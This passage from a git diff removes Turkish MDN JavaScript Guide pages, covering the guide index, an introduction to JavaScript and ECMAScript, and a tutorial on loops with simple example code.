href="/tr/docs/Web/JavaScript/Guide/Functions#Function_parameters">parametreler</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Functions#Arrow_functions">Ok fonksiyonları</a></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators">İfadeler ve operatörler</a></span> - <p><a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">Atama</a> <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Comparison_operators">Kıyaslama</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Arithmetic_operators">Aritmetik operatörler</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Bitwise_operators">Bit seviyesinde</a> ve <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Logical_operators">mantıksal operatörler</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Expressions_and_Operators#Conditional_(ternary)_operator">Durumsal (üçlü) operatör</a></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Numbers_and_dates">Sayılar ve tarihler</a></span><a href="/tr/docs/Web/JavaScript/Guide/Numbers_and_dates#Numbers">Sayı sabitleri</a> - <p><a href="/tr/docs/Web/JavaScript/Guide/Numbers_and_dates#Number_object"><code>Number</code> nesnesi</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Numbers_and_dates#Math_object"><code>Math</code> nesnesi</a><br> - <a href="https://developer.mozilla.org/tr/docs/Web/JavaScript/Guide/Numbers_and_dates#Date_object"><code>Date</code> nesnesi</a></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Text_formatting">Metin formatlama</a></span> - <p><a href="/tr/docs/Web/JavaScript/Guide/Text_formatting#String_literals">Metin sabitleri</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Text_formatting#String_objects"><code>String</code> nesnesi</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Text_formatting#Multi-line_template_strings">Şablon metinler</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Text_formatting#Internationalization">Çoklu dil desteği verme</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Regular_Expressions">Düzenli İfadeler</a></p> - </li> -</ul> - -<ul class="card-grid"> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Indexed_collections">İndeksli koleksiyonlar</a></span> - - <p><a href="/tr/docs/Web/JavaScript/Guide/Indexed_collections#Array_object">Diziler</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Indexed_collections#Array_comprehensions">D</a>izi tipleri</p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections">Anahtarlı koleksiyonlar</a></span> - <p><code><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections#Map_object">Map</a></code><br> - <code><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections#WeakMap_object">WeakMap</a></code><br> - <code><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections#Set_object">Set</a></code><br> - <code><a href="/tr/docs/Web/JavaScript/Guide/Keyed_collections#WeakSet_object">WeakSet</a></code></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects">Nesnelerle çalışma</a></span> - <p><a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties">Nesneler ve özellikleri</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">Nesne oluşturma</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_methods">Metot tanımlama</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Working_with_Objects#Defining_getters_and_setters">Get ve set ifadeleri</a></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Nesne modelinin detayları</a></span> - <p><a href="/tr/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Class-based_vs._prototype-based_languages">Prototip temelli Nesneye Dayalı Programlama </a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Creating_the_hierarchy">Nesne hiyerarşileri oluşturma</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Details_of_the_Object_Model#Property_inheritance_revisited">Kalıtım</a></p> - </li> -</ul> - -<ul class="card-grid"> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Iterators_and_Generators">Yineleyiciler ve oluşturucular</a></span> - - <p><a href="/tr/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterators">Yineleyiciler</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Iterators_and_Generators#Iterables">Yinelenebilenler</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Iterators_and_Generators#Generators">Oluşturucular</a></p> - </li> - <li><span><a href="/tr/docs/Web/JavaScript/Guide/Meta_programming">Üst düzey programlama</a></span> - <p><code><a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Proxies">Proxy nesneleri</a></code><br> - <a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Handlers_and_traps">İşleyiciler ve tuzaklar</a><br> - <a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Revocable_Proxy">Değiştirilebilir Proxy'ler</a><br> - <code><a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Reflection">Reflect</a></code><a href="/tr/docs/Web/JavaScript/Guide/Meta_programming#Reflection"> nesnesi</a></p> - </li> -</ul> - -<p>{{Next("Web/JavaScript/Guide/Introduction")}}</p> diff --git a/files/tr/web/javascript/guide/introduction/index.html b/files/tr/web/javascript/guide/introduction/index.html deleted file mode 100644 index 64b7180c80..0000000000 --- a/files/tr/web/javascript/guide/introduction/index.html +++ /dev/null @@ -1,134 +0,0 @@ ---- -title: Introduction -slug: Web/JavaScript/Guide/Introduction -translation_of: Web/JavaScript/Guide/Introduction ---- -<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</div> - -<p class="summary">Bu bölümde JavaScript tanıtılacak ve bazı temel kavramları üzerine yoğunlaşılacaktır.</p> - -<h2 id="Halihazırda_biliyor_olmanız_gerekenler">Halihazırda biliyor olmanız gerekenler</h2> - -<p>Bu rehber aşağıdakileri biliyor olduğunuzu varsayar:</p> - -<ul> - <li>İnternet ve World Wide Web ({{Glossary("WWW")}}) hakkındaki genel kavramlari anlayabiliyor olmak.</li> - <li>İyi derecede HyperText Markup Language ({{Glossary("HTML")}}) bilgisi.</li> - <li>Biraz programlama deneyimi kazanılmış olması. Eğer programlamaya yeni başlıyorsanız anasayfadaki JavaScript <a href="/tr/docs/Web/JavaScript#Eğitim_Setleri">eğitim setleri</a>nden birini deneyin.</li> -</ul> - -<h2 id="JavaScript_hakkında_nereden_bilgi_edinirim">JavaScript hakkında nereden bilgi edinirim</h2> - -<p>MDN'deki JavaScript dökümantasyonu şunları içerir:</p> - -<ul> - <li><a href="/en-US/Learn">Web'i öğrenmek</a>: yeni başlayanlar için bilgi verir ve programlama ve internetin basit kavramlarını tanıtır.</li> - <li><a href="/en-US/docs/Web/JavaScript/Guide">JavaScript Rehberi</a>: (bu rehber) JavaScript dilini ve nesnelerini genel olarak tanıtır.</li> - <li><a href="/en-US/docs/Web/JavaScript/Reference">JavaScript Referansı</a>: JavaScript için detaylı başvuru kaynaklarını içerir.</li> -</ul> - -<p>JavaScript'te yeniyseniz, <a href="/en-US/Learn">öğrenme alanı</a> ve <a href="/en-US/docs/Web/JavaScript/Guide"><u><font color="#0066cc">JavaScript Rehberi</font></u></a> ile başlayınız. JavaScript temellerini sağlam olarak kavradığınızda, nesneler ve ifadeler ile ilgili detaylı bilgiler için özelleşmiş olan <a href="/en-US/docs/Web/JavaScript/Reference">JavaScript Referansı</a>'nı kullanabilirsiniz.</p> - -<h2 id="JavaScript_nedir">JavaScript nedir?</h2> - -<p>JavaScript, çok platformlu ve nesne yönelimli bir script dilidir. Küçük ve hafif bir dildir. Bir ana bilgisayar ortamında (örneğin, bir web tarayıcısında) JavaScript, programatik olarak kontrol sağlamak için kendi ortamındaki nesnelerine bağlanabilir.</p> - -<p>Javascript, <code>Array</code>, <code>Date</code>, and <code>Math </code>gibi nesneleri içeren standart nesne kütüphanesini ve <code>operatörler, kontrol yapıları </code>ve<code> ifadeler</code> gibi temel dil setlerini içerir. JavaScript çekirdeği, ilave nesneler ile birlikte çeşitli amaçlar için genişletilebilir.Örneğin:</p> - -<ul> - <li><em>İstemci-taraflı JavaScript,</em> yeni nesneler üretmek amacıyla çekirdek dili genişleterek tarayıcının ve kendi sahip olduğu Doküman Nesne Modeli'nin (DOM) kontrol edilebilmesini sağlar. Örnek olarak istemci-taraflı uzantılar, bir uygulamanın HTML formuna yeni öğeler ekleyebilmesine ve fare tıklamaları, form girdileri, ve sayfa dolaşımı gibi kullanıcı olaylarını yanıtlayabilmesine olanak sağlar.</li> - <li><em>Sunucu-taraflı JavaScript, </em>bir sunucu üzerinde çalışmakta olan JavaScript'e yönelik yeni nesneler üretmek suretiyle çekirdek dili genişletir. Örnek olarak, sunucu-taraflı uzantılar, bir uygulamanın veri tabanı ile iletişim kurmasına, bir işlemden başka bir işleme bilgi aktararak uygulamanın devamlılığını sağlamasına, veya sunucudaki dosya üzerinde değişiklikler yapmasına olanak sağlar.</li> -</ul> - -<h2 id="JavaScript_and_Java" name="JavaScript_and_Java">JavaScript ve Java</h2> - -<p>JavaScript ve Java bazı yönleriyle benzer olmakla birlikte temelde farklıdırlar. JavaScript dili, Java'ya benzer fakat JavaScript'te, sabit Java tipleri ve Java'daki güçlü tip denetimi yoktur. JavaScript'in Java ile benzerlik göstermesi nedeniyle, isminin LiveScript'ten JavaScript'te değiştirilmesine neden olan Java'daki çoğu söz dizim ifadesini, isimlendirme düzenini ve basit kontrol akışını yapılarını destekler.</p> - -<p>Java'nın tanımlanarak oluşturulmuş sınıfları derle-çalıştır sisteminin aksine; Javascript, veri tiplerinin ufak bir kısmı olan sayısal, boolean ve string veri tiplerini destekleyen çalışma sistemine sahiptir. <span id="result_box" lang="tr"><span class="hps">JavaScript'te, diğer dillerde yaygın olarak kullanılan</span> <span class="hps">sınıf</span> <span class="hps">temelli </span></span><span lang="tr"><span class="hps">nesne modeli</span> <span class="hps">yerine </span>prototip <span class="hps">temelli</span> <span class="hps">nesne</span> <span class="hps">modeli vardır. Prototip-temelli model, dinamik olarak miras almayı destekler. Böylelikle miras olarak alınan verinin, nesneler tarafından çoklanarak değiştirilebilmesini sağlanır. Ayrıca JavaScript, herhangi bir özel tanımlamaya gerek kalmadan fonksiyonları da destekler. Fonskiyonlar, esnek biçimlerde çalıştırılabilen metodlar halinde bir nesnenin özellikleri olabilirler.</span></span></p> - -<p>JavaScript, Java'ya göre oldukça serbest biçimli bir dildir. Tüm değişkenleri, sınıfları ve metodları baştan tanımlamanıza gerek yoktur. Metodların public, private, veya protected olup olmadığı ile ilgili kaygılanmanıza gerek yoktur ve arayüzleri tanımlamanıza gerek yoktur. Değişkenler, parametreler ve fonksiyon dönüş türleri üstü kapalı türler değildir. (Tipine derleyici karar verir.)</p> - -<p>Java, tip güvenliği ve hızlı çalıştırma için tanımlanmış bir sınıf-tabanlı programlama dilidir. Tip güvenliği, örneğin bir Java tamsayısını bir nesne referansına çeviremeyeceğiniz ya da gizli belleğe Java bytecodlarını bozarak ulaşamayacağınız anlamına gelir. Java'nın sınıf tabanlı modeli, programların sadece sınıflardan ve onların metodlarından oluştuğu anlamına gelir. Java'nın sınıf kalıtımı ve sıkı yazılışı, genellikle sıkıca bağlanmış nesne hiyerarşileri gerektirir. Bu gereksinimler, Java programlamayı JavaScript programlamadan daha kompleks yapar.</p> - -<p>Javascript'in küçük yapısının aksine temelleri HyperTalk ve dBASE gibi dinamik tipli dillere dayanır.Bu betik dilleri; kolay söz dizimi, özelleştirilmiş tümleşik yapısı ve nesne oluşturma için minimum gereksinimlere ihtiyaç duyması sayesinde diğer dillere göre daha geniş programcı kitlesine hitap eder.</p> - -<table class="standard-table"> - <caption>JavaScript ile Java dillerinin farkları</caption> - <thead> - <tr> - <th scope="col">JavaScript</th> - <th scope="col">Java</th> - </tr> - </thead> - <tbody> - <tr> - <td>Nesne temellidir. Nesnelerin türleri arasında bir ayrım söz konusu değildir. Prototype mekanizması ile oluşturulan kalıtım sayesinde, değişkenler ve metodlar herhangi bir objeye dinamik olarak eklenebilir.</td> - <td>Nesne temellidir. Nesneler, sınıflar halinde birbirlerinden ayrılmışlardır ve örnekleri arasında oluşturulan kalıtım sınıf hiyerarşisi ile sağlanır. Sınıflar ve oluşturulan nesnelere dinamik olarak değişken ve metot eklemesi yapılamaz.</td> - </tr> - <tr> - <td>Değişkenlerin veri türlerinin tanımlanmasına gerek yoktur. İlk atama yapıldığında bir veri türüne sahip olurlar (dinamik tipleme). Örn: var degiskenAdi;</td> - <td>Değişkenlerin veri türleri tanımlanmak zorundadır (statik tipleme). Örn: String degiskenAdi.</td> - </tr> - <tr> - <td>Otomatik olarak sabit diske yazılamazlar.</td> - <td>Otomatik olarak sabit diske yazılabilirler.</td> - </tr> - </tbody> -</table> - -<p>Javascript ve Java ile ilgili farklılıklar hakkında daha fazla bilgi edinmek için, <a href="/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model">Details of the object model</a> bölümüne göz atabilirsiniz.</p> - -<h2 id="JavaScript_and_the_ECMAScript_Specification" name="JavaScript_and_the_ECMAScript_Specification">JavaScript ve ECMAScript beyannamesi</h2> - -<p>JavaScript standardı, <a class="external" href="http://www.ecma-international.org/">Ecma International</a> tarafından belirlenir. Ecma International, JavaScript temelli standartlaştırılmış uluslararası bir programlama dili (ECMAScript) sunmak için, bilgi ve iletişim sistemlerinin standartlaştırılmasını sağlayan bir Avrupa derneğidir (ECMA'nın eski açınımı: European Computer Manufacturers Association (Avrupa Bilgisayar Üreticileri Derneği)). Standartlaştırılmış JavaScript versiyonu olan ECMAScript, standardı destekleyen tüm uygulamalarda aynı şekilde çalışır. Firmalar, açık standart dili kullanarak kendi Javascript dillerini oluşturabilirler. ECMAScript standardı ECMA-262 beyannamesi altında belgelendirilmiştir. JavaScript ve ECMAScript beyannameleri hakkında detaylı bilgi edinmek için <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript">New in JavaScript</a> bölümüne bakabilirsiniz.</p> - -<p>ECMA-262 standardı ayrıca ISO tarafından ISO-16262 olarak onaylanmıştır. Beyannameyi <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">Ecma International'ın web sitesinde</a> de bulabilirsiniz. ECMAScript beyannamesi, DOM (Doküman Nesnesi Modeli) hakkında bir tanımlama sunmaz. Zira DOM, <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a> ve <a href="https://whatwg.org/">WHATWG (Web Hypertext Application Technology Working Group)</a> tarafından standartlaştırılmıştır. DOM, HTML dokümanındaki nesnelerin, JavaScript betiğinize aktarılması için bir yol sunar. JavaScript ile programlamada kullanılan farklı teknolojiler hakkında bilgi edinmek için <a href="/en-US/docs/Web/JavaScript/JavaScript_technologies_overview">JavaScript technologies overview</a> bölümüne bakabilirsiniz.</p> - -<h3 id="JavaScript_Documentation_versus_the_ECMAScript_Specification" name="JavaScript_Documentation_versus_the_ECMAScript_Specification">JavaScript dokümantasyonu ve ECMAScript beyannamesi farkları</h3> - -<p>ECMAScript beyannamesi, ECMAScript dilinin gerçekleştirilmesi için gereksinimleri belirler. Kendi ECMAScript gerçekleştiriminizi veya Firefox'taki SpiderMonkey gibi standartlara uyan bir ECMAScript motoru oluşturmanız için kullanışlıdır.</p> - -<p>ECMAScript dokümanı, programcıların betik yazması için düzenlenmemiştir; betik yazmak hakkında bilgi edinmek için için JavaScript dokümantasyonunu kullanabilirsiniz.</p> - -<p>ECMAScript beyannamesinin kullandığı terminoloji ve söz dizimine bir JavaScript programcısı alışkın olmayabilir. Dilin açıklaması ECMAScript'ten farklılık göstermesine rağmen, dilin kendisi aynı kalmıştır. Yani JavaScript, ECMAScript beyannamesinde belirlenen bütün fonksiyonelliği kapsar.</p> - -<p>JavaScript dokümantasyonu, JavaScript programcısının aşina olduğu şekilde dilin özelliklerini ele alır.</p> - -<h2 id="JavaScript_ile_başlangıç">JavaScript ile başlangıç</h2> - -<p>JavaScript'e başlamak kolaydır: tüm ihtiyacınız modern bir web tarayıcısı. Bu rehber, sadece Firefox'un son sürümlerinin desteklediği bazı JavaScript özelliklerini içerir, bu yüzden Firefox'un son sürümlerini kullanmak önerilir.</p> - -<p>Firefox'ta çalıştırabileceğiniz iki tane kullanışlı JS aracı vardır: Web konsol ve Scratchpad.</p> - -<h3 id="Web_Konsolu">Web Konsolu</h3> - -<p><a href="/en-US/docs/Tools/Web_Console">Web Konsolu</a> yüklü olan sayfanın yapısal içeriğini gösterir ve ayrıca o anda JavaScript kodlarınızı çalıştırabileceğiniz bir <a href="/en-US/docs/Tools/Web_Console#The_command_line_interpreter">komut satırı</a> da içerir.</p> - -<p>Web konsolunu açmak için (Ctrl+Shift+K) komutunu kullanabilir veya "Geliştirici" menüsünden "Tarayıcı Konsolu"'nu seçebilirsiniz. Geliştirici menüsü Firefox'unuzda sağ üst bölümde bulunan "Araçlar" kısmındadır. Tarayıcı konsolu penceresi sayfanın üstüne açılır. Konsolun en alt kısmında aşağıdaki şekilde JavaScript kodunu gireceğiniz ve çıktısını alabileceğiniz bir komut satırı bulunmaktadır:</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7363/web-console-commandline.png" style="display: block; margin-left: auto; margin-right: auto;"></p> - -<h3 id="Karalama_defteri">Karalama defteri</h3> - -<p>Web konsolu tek satırlı JavaScript kodunuzu çalıştırmak için iyi bir araçtır. Çok satırlı JavaScript kodları çalıştırmak istediginizde ise web konsolu'nun bunu yapma yetisi olsa da kullanışlı değildir ve yazdığınız kod örneklerini kaydedemez. Bu yüzden daha kompleks kod örnekleri için <a href="/en-US/docs/Tools/Scratchpad">Karalama defteri</a> daha iyi bir araçtır.</p> - -<p>Karalama defterini açmak için (Shift+F4) komutunu kullanabilir veya "Web geliştirici" menüsünden "Karalama defteri"'ni seçebilirsiniz. JavaScript kodu yazıp çalıştırabileceğiniz, farklı bir editör penceresi açılır. Ayrıca komutlarınızı diskinizde saklayabilir ve diskinizden yükleyebilirsiniz.</p> - -<p><img alt="" src="https://mdn.mozillademos.org/files/7365/scratchpad.png" style="display: block; margin-left: auto; margin-right: auto;"></p> - -<h3 id="Merhaba_Dünya">Merhaba Dünya</h3> - -<p>JS'e başlamak için, Karalama defteri'ni açın ve ilk kodunuz olan "Merhaba Dünya" yazın:</p> - -<pre class="brush: js">function selamVer(adiniz) { - alert("Merhaba" + adiniz); -} - -selamVer("Dünya"); -</pre> - -<p>Yukarıda gösterildiği gibi yazdığınız kodu Karalama defteri penceresinden seçin ve çalıştırmak için Ctrl+R komutunu kullanın ve izleyin.</p> - -<p>İlerleyen sayfalar, daha kompleks uygulamar yazabileceğiniz JS syntaxlarını ve dil özelliklerini içerir.</p> - -<p>{{PreviousNext("Web/JavaScript/Guide", "Web/JavaScript/Guide/Grammar_and_types")}}</p> diff --git a/files/tr/web/javascript/guide/loops_and_iteration/index.html b/files/tr/web/javascript/guide/loops_and_iteration/index.html deleted file mode 100644 index 8b224ab288..0000000000 --- a/files/tr/web/javascript/guide/loops_and_iteration/index.html +++ /dev/null @@ -1,331 +0,0 @@ ---- -title: Döngüler ve yinelemeler -slug: Web/JavaScript/Guide/Loops_and_iteration -translation_of: Web/JavaScript/Guide/Loops_and_iteration ---- -<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Ifadeler", "Web/JavaScript/Guide/Functions")}}</div> - -<p class="summary">Döngüler, bir işlemin art arda yapılması için hızlı ve kolay bir yöntem sunarlar. <a href="/tr/docs/Web/JavaScript/Guide">JavaScript Rehberi</a>'nin bu bölümünde, JavaScript içerisinde yer alan çeşitli yineleme ifadeleri anlatılacaktır.</p> - -<p>Döngüleri şu şekildeki basit bir bilgisayar oyunu olarak düşünebilirsiniz: Doğu yönünde 5 adım ilerle ve devamında batı yönünde 3 adım ilerleyerek hazineyi bul. Bu fikri basitçe kodlamak gerekirse:</p> - -<pre class="brush: js notranslate">var adım; -for (adım = 0; adım < 5; adım++) { - // 5 defa ekrana yazıyor - // adım 0'dan 4'e kadar değerler alıyor. - console.log('Doğu yönünde bir adım atılıyor.'); -} -</pre> - -<p>Birçok döngü türü vardır, fakat özünde hepsi aynı şeyi yaparlar: ardı ardına belirlenen bir işlemi gerçekleştirirler. Genelde gerçekleştirilen işlem adımı 0'dan başlar. Döngünün bitiş ve başlangıç noktalarının belirlenmesi için çeşitli döngü mekanizmaları mevcuttur. Bir döngünün diğer döngülere göre daha avantajlı olmasını sağlayan farklı durumlar vardır.</p> - -<p>JavaScript'teki döngü ifadeleri aşağıdaki şekilde listelenmiştir:</p> - -<ul> - <li>{{anch("for döngüsü")}}</li> - <li>{{anch("do...while döngüsü")}}</li> - <li>{{anch("while döngüsü")}}</li> - <li>{{anch("Etiketlenmiş ifadeler")}}</li> - <li>{{anch("break ifadesi")}}</li> - <li>{{anch("continue ifadesi")}}</li> - <li>{{anch("for...in ifadesi")}}</li> - <li>{{anch("for...of ifadesi")}}</li> -</ul> - -<h2 id="for_döngüsü"><code>for</code> döngüsü</h2> - -<p>Bir {{jsxref("statements/for","for")}} döngüsü, belirlenen koşul sağlandığı sürece içerdiği komutların çalıştırılmasını sağlar. JavaScript'teki <code>for</code> döngüsü, Java ve C dilindeki <code>for</code> döngüsü ile benzerdir. For döngüsünün söz dizimi aşağıdaki şekildedir:</p> - -<pre class="syntaxbox notranslate">for ([başlangıçAtaması]; [koşulİfadesi]; [arttırımİfadesi]) - ifade -</pre> - -<p>Bir <code>for</code> döngüsündeki algoritmanın adımları aşağıdaki şekildedir:</p> - -<ol> - <li>Bir <code>başlangıçAtaması</code> ifadesi varsa çalıştırılır. Bu ifadede genellikle bir veya daha fazla döngü sayıcısına atama işlemi yapılır. Ayrıca değişken tanımı da yapılabilir.</li> - <li><code>koşulİfadesi</code> çalıştırılır. Eğer <code>koşulİfadesi</code> değeri <code>true</code> ise, <code>ifade</code> çalıştırılabilir. Eğer <code>koşulİfadesi</code> değeri <code>false</code> ise, <code>for</code> döngüsünden çıkılır. Eğer <code>koşulİfadesi</code> boş geçilirse, değeri her zaman true olarak varsayılır ve sonsuz döngü oluşturulmuş olur.</li> - <li><code>ifade</code> çalıştırılır. Birden fazla ifade çalıştırılacaksa, ifadeleri gruplamak için blok ifadesi (<code>{ ... }</code>) kullanılır.</li> - <li><code>arttırımİfadesi</code> varsa çalıştırılır ve 2 numaralı adıma geri dönülür.</li> -</ol> - -<h3 id="Örnek"><strong>Örnek</strong></h3> - -<p>Aşağıdaki fonksiyon, scroll'lanabilen bir listedeki seçilen değerlerin sayısını sayan bir <code>for</code> ifadesi içerir (buradaki liste, çoklu seçimler yapabilmeye izin veren bir {{HTMLElement("select")}} elemanıdır) . <code>for</code> ifadesinde <code>i</code> değişkeni tanımlanır ve sıfır değeri atanır. <code>i</code>'nin değerinin, <code><select></code> elemanındaki {{HTMLElement("option")}} elemanlarının sayısından daha az olup olmadığı kontrol edilir, <code>if</code> ifadesini çalıştırılır, ve döngü her tamamlandığında <code>i</code> değişkeni bir arttırılır.</p> - -<pre class="brush: html notranslate"><form name="selectForm"> - <p> - <label for="müzikTürleri">Sevdiğiniz müzik türlerini seçip aşağıdaki butona basınız:</label> - <select id="müzikTürleri" name="müzikTürleri" multiple="multiple"> - <option selected="selected">Pop</option> - <option>Rap</option> - <option>Rock</option> - <option>Arabesk</option> - <option>Türk Sanat Müziği</option> - <option>Klasik Müzik</option> - </select> - </p> - <p><input id="btn" type="button" value="Kaç tanesi seçildi?" /></p> -</form> - -<script> -function kaçTane(müzikTürleri) { - var seçilenMüzikSayısı = 0; - for (var i = 0; i < müzikTürleri.options.length; i++) { - if (müzikTürleri.options[i].selected) { - seçilenMüzikSayısı++; - } - } - return seçilenMüzikSayısı; -} - -var btn = document.getElementById("btn"); -btn.addEventListener("click", function(){ - alert('Seçilen müzik türü sayısı: ' + kaçTane(document.selectForm.müzikTürleri)) -}); -</script> - -</pre> - -<h2 id="do...while_döngüsü"><code>do...while</code> döngüsü</h2> - -<p>{{jsxref("statements/do...while", "do...while")}} döngüsü, belirlenen bir koşul sağlandığı sürece döngünün çalıştırılmasına olanak tanır. Bir <code>do...while</code> döngüsü aşağıdaki gibidir:</p> - -<pre class="syntaxbox notranslate">do - ifade -while (koşul); -</pre> - -<p><code>koşul</code> kontrol edilmeden hemen önce <code>ifade</code> çalıştırılır. Çoklu ifadelerin çalıştırılması için, blok ifadesi (<code>{...}</code>) kullanılarak ifadeler gruplandırılır. Eğer <code>koşul</code> sağlanırsa, <code>ifade</code> tekrar çalıştırılır. Çalıştırıldıktan sonra, <code>koşul</code> tekrar kontrol edilir. Eğer <code>koşul</code> sağlanmazsa, ifadenin çalıştırılması durdurulur ve <code>do...while</code> döngüsünden sonraki komutlar çalıştırılır. <code>koşul</code> kontrol edilmeden hemen önce <code>ifade</code> çalıştırıldığı için, <code>koşul</code> değeri <code>false</code> olsa bile blok satırınız içerisindeki kodlar 1 defa çalıştırılır.</p> - -<h3 id="Örnek_1"><strong>Örnek 1</strong></h3> - -<p>Aşağıdaki örnekte, <code>do</code> döngüsü en az bir kere çalıştırılır, ve i değişkeninin değeri 5'ten küçük olduğu sürece çalıştırma devam eder:</p> - -<pre class="brush: js notranslate">var i = 0; -do { - i += 1; - console.log(i); -} while (i < 5); -</pre> - -<h2 id="while_döngüsü"><code>while</code> döngüsü</h2> - -<p>Bir {{jsxref("statements/while","while")}} döngüsü, belirlenen koşul sağlandığı sürece çalıştırılmaya devam eder. Örnek bir <code>while</code> döngüsü aşağıdaki gibidir:</p> - -<pre class="syntaxbox notranslate">while (koşul) - ifade -</pre> - -<p>Döngü içerisindeki <code>ifade</code> çalıştırılmadan önce <code>koşul</code> kontrol edilir. Eğer koşul sağlanırsa, <code>ifade</code> çalıştırılır ve koşul tekrar kontrol edilir. Eğer <code>koşul</code> sağlanmazsa, döngü içerisindeki ifadenin çalıştırılması durdurulur ve while döngüsünden çıkılarak sonraki komutlar çalıştırılır.</p> - -<p>Çoklu ifadelerin çalıştırılması için, blok ifadesi (<code>{...}</code>) kullanılarak ifadeler gruplanır.</p> - -<h3 id="Örnek_1_2"><strong>Örnek 1</strong></h3> - -<p>Aşağıdaki <code>while</code> döngüsü, <code>n</code> değişkeni 3'ten küçük olduğu sürece çalıştırılır:</p> - -<pre class="brush: js notranslate">var n = 0; -var x = 0; -while (n < 3) { - n++; - x += n; -} -</pre> - -<p>Her döngüde, <code>n</code> değişkeninin değeri 1 arttırılır ve <code>x</code>'e eklenir. Bunun sonucunda <code>x</code> ve <code>n</code> değişkenleri aşağıdaki değerleri alırlar:</p> - -<ul> - <li>İlk kez döngü çalıştırılıp tamamlandığında: <code>n</code> = 1 ve <code>x</code> = 1</li> - <li>2. kez tamamlandığında: <code>n</code> = 2 ve <code>x</code> = 3</li> - <li>3. kez tamamlandığında: <code>n</code> = 3 ve <code>x</code> = 6</li> -</ul> - -<p>3. kez döngü çalıştırılıp tamamlandığında, <code>n < 3</code> koşulu artık true değerini almaz ve döngüden çıkılır.</p> - -<h3 id="Örnek_2"><strong>Örnek 2</strong></h3> - -<p>Sonsuz döngülerden uzak durulmalıdır. Döngü içerisindeki koşulun, eninde sonunda false değerini alacağı emin olunmalıdır; aksi taktirde, döngü sonsuza dek çalışır. Aşağıdaki <code>while</code> döngüsündeki ifade sonsuza dek çalışır, çünkü koşul asla false değerini alamaz:</p> - -<pre class="brush: js notranslate">while (true) { - console.log("Merhaba dünya"); -}</pre> - -<h2 id="Etiketlenmiş_ifadeler"><code>Etiketlenmiş ifadeler</code></h2> - -<p>Bir {{jsxref("statements/label","etiketlenmiş ifadede")}} , bir anahtar kelime ve bu kelimeye bağlı çalıştırılacak bir ifade bulunur.Anahtar kelime kullanılarak, program içerisindeki herhangi bir yerde, anahtar kelime ile ilişkili ifade çalıştırılabilir. Örneğin, bir döngü, anahtar kelime ile etiketlenerek, uygulama içerisindeki herhangi bir yerden çalıştırılabilir.</p> - -<p>Etiketlenmiş bir ifade aşağıdaki şekildedir:</p> - -<pre class="syntaxbox notranslate">etiket : - çalıştırılacak_ifade -</pre> - -<p>Etiket adı, herhangi bir değişken adının aldığı şekilde değerler alabilir. Etiket ile tanımlanan <code>çalıştırılacak_ifade </code>içerisinde herhangi bir komut yer alabilir.</p> - -<h3 id="Örnek_3"><strong>Örnek</strong></h3> - -<p>Bu örnekte, <code>döngüyüİşaretle</code> etiketi <code>while</code> döngüsünü tanımlar.</p> - -<pre class="brush: js notranslate"><code>döngüyüİşaretle</code>: -while (işaret == true) { - merhabaDünya(); -}</pre> - -<h2 id="break_ifadesi"><code>break</code> ifadesi</h2> - -<p>{{jsxref("statements/break","break")}} ifadesi kullanılarak bir döngüden, switch ifadesinden veya herhangi bir etiketlenmiş ifadeden çıkılabilir.</p> - -<ul> - <li>Etiket olmayan bir blokta break ifadesini kullandığınızda, <code>break</code>'i çevreleyen en içteki <code>while</code>, <code>do-while</code>, <code>for</code>, veya <code>switch</code> ifadesinden çıkılır ve koddaki sonraki komutların çalıştırılmasına devam edilir.</li> - <li>Etiket olan bir blokta <code>break</code> ifadesini kullanıldığında, etiketlenmiş olan ifadeden çıkılır.</li> -</ul> - -<p><code>break</code> ifadesinin söz dizimi aşağıdaki gibidir:</p> - -<pre class="syntaxbox notranslate">break [<em>etiket</em>]; -</pre> - -<p>Bu söz diziminin ilk ifadesi (<code>break</code>) ile, break'i çevreleyen en içteki 